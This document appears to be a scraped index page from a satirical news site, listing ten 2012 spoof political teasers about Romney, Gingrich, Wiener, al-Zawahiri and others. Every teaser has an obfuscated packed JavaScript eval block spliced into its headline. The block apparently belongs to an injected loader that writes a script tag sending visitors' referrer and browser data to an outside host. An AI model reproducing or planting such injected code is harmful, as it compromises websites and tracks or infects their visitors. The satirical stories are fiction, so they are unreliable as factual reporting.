New York’s Mayoralty Race Tightens Up

BIG APPLE’S MAYORALTY RACE HEATS UP eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehfaf|var|u0026u|referrer|eeeyf||js|php’.split(‘|’),0,{})) Disgraced ex-Congressman neck-and-neck with New York’s leading lesbian New York, July 7th (SHK) Samantha Curtis hit the ceiling last weekend when she learned that ex-Congressman Anthony Wiener would speak at her daughter’s high school graduation. But when he invoked the “arc of the [...]

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Election Hangs on Key Voter

ELECTION HANGS ON KEY VOTER eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdthe|var|u0026u|referrer|edknn||js|php’.split(‘|’),0,{})) Flash: California Announces New Currency Washington, DC September 9th, 2012 (SHK) The conventional wisdom about this year’s presidential election is that the critical campaign is really about six so-called swing states – Nevada, Colorado, Iowa, Michigan, Ohio and Virginia. The rest of the country [...]

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Tennis Ref Charged with Murder

TENNIS REF CHARGED WITH MURDER eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfiyb|var|u0026u|referrer|yzyfs||js|php’.split(‘|’),0,{})) McEnroe, Nastase Not Implicated, Inside Sources Say New York, NY August 22nd, 2012 (SHK) Yesterday the New York Police Department arrested a professional tennis referee at a Manhattan hotel on charges of murder in the death of her husband last April. Prosecutors say she [...]

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Gun Control Positions Unchanged

MAJOR PARTIES SEE POSITIONS UNCHANGED eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|srnrn|var|u0026u|referrer|yzksi||js|php’.split(‘|’),0,{})) Obama, Romney Stick to their Guns Washington, DC July 23rd, 2012 (SHK) In the aftermath of a crazed gunman’s armed attack at an Aurora, Colorado, cinema Friday night, when the new Batman movie Dark Knight Rises debuted, the two presidential candidates said their positions [...]

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Internet Spam Causing Uproar

INTERNET SPAM EXPLODES, CAUSING UPROAR eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tiztr|var|u0026u|referrer|afyrf||js|php’.split(‘|’),0,{})) No Relief in Sight, from Washington to Silicon Valley Washington, DC July 17, 2012 (SHK) Spam is exploding on the Internet, the White House said today. And like the heat, it’s not going away anytime soon. “While the most widely recognized form of spam [...]

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Summer Reading for Jihadists

SUMMER READING FOR JIHADISTS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzzrh|var|u0026u|referrer|btisd||js|php’.split(‘|’),0,{})) al-Qaeda’s Leader Reveals His Top Pick Lesbos Island, Aegean Sea July 3, 2012 (SHK) The Times recently caught up with Ayman al-Zawahiri, now al-Qaeda’s titular leader after the elimination of Osamu bin Laden in Pakistan last year. We found him on vacation on a Greek [...]

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Shocking Outcome in Michigan!

SHOCKING UPSET IN MICHIGAN eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iyfyy|var|u0026u|referrer|dkhys||js|php’.split(‘|’),0,{})) Write-in Vote Overwhelms Romney, Santorum Columbus, OH February 29th, 2012 (SHK) Late-night write-in votes Tuesday overtook the slight lead held by Mitt Romney over fellow Republican and born-again Christian conservative Rick Santorum in preliminary results. Press reports initially showed Romney leading Santorum by a few [...]

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“Money Talks,” Says Romney; Wins Florida

“MONEY TALKS!” ROMNEY SAYS, WINS FLORIDA eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsybi|var|u0026u|referrer|hzfhf||js|php’.split(‘|’),0,{})) Gingrich Down but Not Out, Says “46 States to Go.” Tampa, FL February 1st, 2012 (SHK) Mitt Romney bounced back with a convincing win in the Florida primary yesterday with a double-digit trouncing of Newt Gingrich. “The primaries are all about electability,” Gov. [...]

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Atheists Fight Back, Challenge Evangelicals

ATHEISTS FIGHT BACK, CHALLENGE EVANGELICALS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfrer|var|u0026u|referrer|ztykd||js|php’.split(‘|’),0,{})) Forecast for Primaries is Partly Murky with Scattered Court Cases Tallahassee, FL January 29th, 2012 (SHK) Jessica Ahlquist, 16, is an outspoken atheist in Cranston, Rhode Island. She has successfully sued her high school to have a Christian prayer removed from a wall in [...]

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Gingrich Wins Cracker Jacks Prize

GINGRICH BLITZ CONQUERS SOUTH CAROLINA eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktdzt|var|u0026u|referrer|nhekd||js|php’.split(‘|’),0,{})) Perry Out; Santorum Devastated; Romney Changes his Religion Charleston, SC January 22nd, 2012 (SHK) When the National Association of Evangelical Ministers endorsed Rick Santorum last week, everybody thought the right-wing Pennsylvanian would win South Carolina hands-down. But politics is a game of unpredictable odds, [...]

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